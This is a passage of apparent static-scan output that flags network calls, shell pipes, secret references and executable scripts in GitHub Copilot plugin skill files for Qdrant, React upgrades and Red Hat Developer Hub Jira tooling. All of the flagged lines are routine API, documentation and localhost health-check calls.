    Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 33
    1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc
  • Network accessline 34
    2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s
  • Network accessline 35
    3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 45
    1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 46
    2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range)
  • Network accessline 47
    3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points)
  • Network accessline 58
    - **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a
  • Network accessline 59
    - **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md

  • Network accessline 10
    - Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/)
  • Network accessline 18
    Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best 
  • Network accessline 23
    At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants 
  • Network accessline 24
    To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash.
  • Network accessline 29
    If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha

harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md

  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-qps/SKILL.md

  • Network accessline 16
    - Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 17
    - Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 18
    - Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 22
    - Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/)
  • Network accessline 24
    - Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs)
  • Network accessline 32
    - Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment
  • Network accessline 34
    - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 44
    - Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 45
    - Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/)
  • Network accessline 46
    - In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query)
  • Network accessline 47
    - Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati

harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/SKILL.md

  • Network accessline 33
    Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api.
  • Network accessline 100
    - [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/diagnosis/SKILL.md

  • Network accessline 14
    - Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search)
  • Network accessline 16
    - Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://
  • Network accessline 18
    - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api)
  • Network accessline 26
    - Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 27
    - Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 28
    - Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 29
    - Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 30
    - ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 32
    Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum
  • Network accessline 38
    Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-search-quality/search-strategies/SKILL.md

  • Network accessline 15
    - Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search)
  • Network accessline 16
    - Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom
  • Network accessline 17
    - For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings)
  • Network accessline 18
    - RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf)
  • Network accessline 19
    - DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf)
  • Network accessline 26
    - Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/)
  • Network accessline 27
    - See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant
  • Network accessline 28
    - ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres
  • Network accessline 40
    - RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model
  • Network accessline 41
    - Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th
  • Network accessline 42
    - Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback)
  • Network accessline 43
    - Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en
  • Network accessline 49
    - Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr)
  • Network accessline 57
    - Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api)
  • Network accessline 58
    - Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy)
  • Network accessline 59
    - Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api)
  • Network accessline 64
    Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-version-upgrade/SKILL.md

  • Network accessline 31
    A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen
  • Network accessline 46
    3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo
  • Network accessline 47
    4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6.
  • Network accessline 48
    5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli.
  • Network accessline 87
    - [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor)
  • Network accessline 88
    - [qcloud CLI](https://github.com/qdrant/qcloud-cli)

harness/github-copilot/plugins/react18-upgrade/skills/react18-lifecycle-patterns/references/componentWillMount.md

  • Network accessline 57
    componentWillMount() {     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 58
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 59
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 77
    // All side effects move here - runs after first render     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 78
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 79
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 136
    componentWillMount() {   this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 137
    this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B     .then(items => this.setState({ items, loading: false }));
  • Network accessline 138
    fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 151
    componentDidMount() {   fetch('/api/items').then(r => r.json())    // Case B → componentDidMount
  • Network accessline 152
    fetch('/api/items').then(r => r.json())    // Case B → componentDidMount

harness/github-copilot/plugins/react19-upgrade/skills/react19-concurrent-patterns/references/react19-suspense.md

  • Network accessline 88
    // Raw promise (not recommended in production): function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 89
    function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));   return <pre>{JSON.stringify(data, null, 2)}</pre>;
  • Network accessline 90
    const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 111
    // Only create promise once per id:   const dataPromise = useMemo(() =>      fetch(`/api/data/${id}`).then(r => r.json()),
  • Network accessline 112
    const dataPromise = useMemo(() =>      fetch(`/api/data/${id}`).then(r => r.json()),     [id]
  • Network accessline 113
    fetch(`/api/data/${id}`).then(r => r.json()),

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/assign.md

  • Network accessline 43
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
  • Network accessline 60
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 84
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 209
    curl -s -X PUT \
  • Network accessline 211
    -H "Content-Type: application/json" \   -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
  • Network accessline 213
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/auth.md

  • Network accessline 5
    **Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution.
  • Network accessline 31
    The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`.
  • Network accessline 45
    CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net"
  • Network accessline 46
    JIRA_BASE="https://redhat.atlassian.net"
  • Dangerous shell operationline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 65
    The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value 

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/duplicates.md

  • Network accessline 37
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/graphql-queries.md

  • Network accessline 5
    **Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below).
  • Network accessline 25
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 33
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 43
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 76
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 90
    curl -s -u "$AUTH" -X POST \
  • Network accessline 112
    # Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \
  • Network accessline 113
    curl -s -u "$AUTH" -X POST \
  • Network accessline 143
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 168
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/plan.md

  • Network accessline 40
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/refine.md

  • Network accessline 55
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 110
    curl -s -u "$AUTH" \
  • Network accessline 111
    "https://redhat.atlassian.net/rest/api/3/issue/ISSUE_KEY/comment?orderBy=-created&maxResults=5" \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/release.md

  • Network accessline 31
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/rest-api-fallback.md

  • Network accessline 26
    curl -s -o jira-openapi.json \
  • Network accessline 27
    'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 61
    # List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \
  • Dangerous shell operationline 62
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/field' |    python -c "
  • Network accessline 62
    curl -s -u "$AUTH" \
  • Network accessline 63
    'https://redhat.atlassian.net/rest/api/3/field' | \
  • Dangerous shell operationline 77
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' |    python -c "
  • Network accessline 77
    curl -s -u "$AUTH" \
  • Network accessline 78
    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \
  • Network accessline 93
    |--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla
  • Network accessline 94
    | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 95
    | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint |
  • Network accessline 104
    curl -s -X PUT \
  • Network accessline 106
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10028": 5}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 108
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 114
    curl -s -X PUT \
  • Network accessline 116
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10795": {"value": "M"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 118
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 126
    curl -s -X PUT \
  • Network accessline 128
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 130
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 138
    curl -s -X PUT \
  • Network accessline 140
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 142
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 163
    curl -s -u "$AUTH" \
  • Network accessline 164
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/sprint-report.md

  • Network accessline 38
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-epic.md

  • Network accessline 100
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 102
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-XXX"

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/to-issue.md

  • Network accessline 154
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 156
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-YYY"

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/references/update-jira-status.md

  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/parse_issues.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-jira/scripts/setup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 211
    else:         print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 212
    print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")         return
  • Network accessline 213
    print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 239
    print("         Then: chmod 600 .jira-token")         print("         REST API/GraphQL fallback will not work without it.")         print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
  • Network accessline 241
    print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/references/customization-system.md

  • Access to secretsline 23
    [Credential-related source omitted]

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/references/env-reference.md

  • Network accessline 25
    |----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Network accessline 26
    | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID |
  • Network accessline 27
    | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 36
    | Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 37
    |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user |
  • Network accessline 38
    | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 47
    | Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 48
    |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token |
  • Network accessline 49
    | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 80
    | Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Network accessline 81
    |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use |
  • Network accessline 82
    | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Network accessline 134
    | `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Network accessline 135
    | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) |
  • Network accessline 136
    | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Access to secretsline 149
    [Credential-related source omitted]

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/references/troubleshooting.md

  • Network accessline 17
    # 2. Test at http://localhost:7007
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 102
    # Manual checks curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 103
    curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 104
    curl http://localhost:7007                        # Frontend

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/__init__.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/backup.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 163
    rhdh_running = False     try:         with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 164
    try:         with socket.create_connection(("localhost", 7007), timeout=1):             rhdh_running = True
  • Network accessline 165
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 170
    if rhdh_running:         checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")
  • Network accessline 171
    checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")     else:
  • Network accessline 172
    fmt.log_ok("RHDH: running on http://localhost:7007")
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 439
    [Credential-related source omitted]

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/compose.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/health.py

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    port_open = False     try:         with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 63
    try:         with socket.create_connection(("localhost", 7007), timeout=2):             port_open = True
  • Network accessline 64
    with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 72
    name="rhdh_port",                 status="pass",                 message="RHDH reachable on http://localhost:7007",
  • Network accessline 73
    status="pass",                 message="RHDH reachable on http://localhost:7007",             )
  • Network accessline 74
    message="RHDH reachable on http://localhost:7007",
  • Network accessline 111
    if port_open:         try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
  • Network accessline 112
    try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:                 body = resp.read().decode()
  • Network accessline 113
    with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/settings.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/rhdh_local/sync.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/NOTICE

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    Project: rhdh-lab   Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 7
    Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab   License: Apache License 2.0
  • Network accessline 8
    Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 17
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/fetch-plugin-metadata.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 4
    Replaces the manual 3-step curl chain in the enable-plugin workflow.
  • Network accessline 23
    _CONTENTS_URL = (     "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 24
    "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 25
    "/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 27
    _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 296
    req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"})
  • Network accessline 297
    with urllib.request.urlopen(req, timeout=30) as resp:
  • Network accessline 341
    url = (         f"https://api.github.com/repos/redhat-developer/"
  • Network accessline 342
    f"https://api.github.com/repos/redhat-developer/"

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/scripts/rhdh-local

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/enable-plugin.md

  • Network accessline 157
    - [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007`
  • Network accessline 158
    - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
  • Network accessline 159
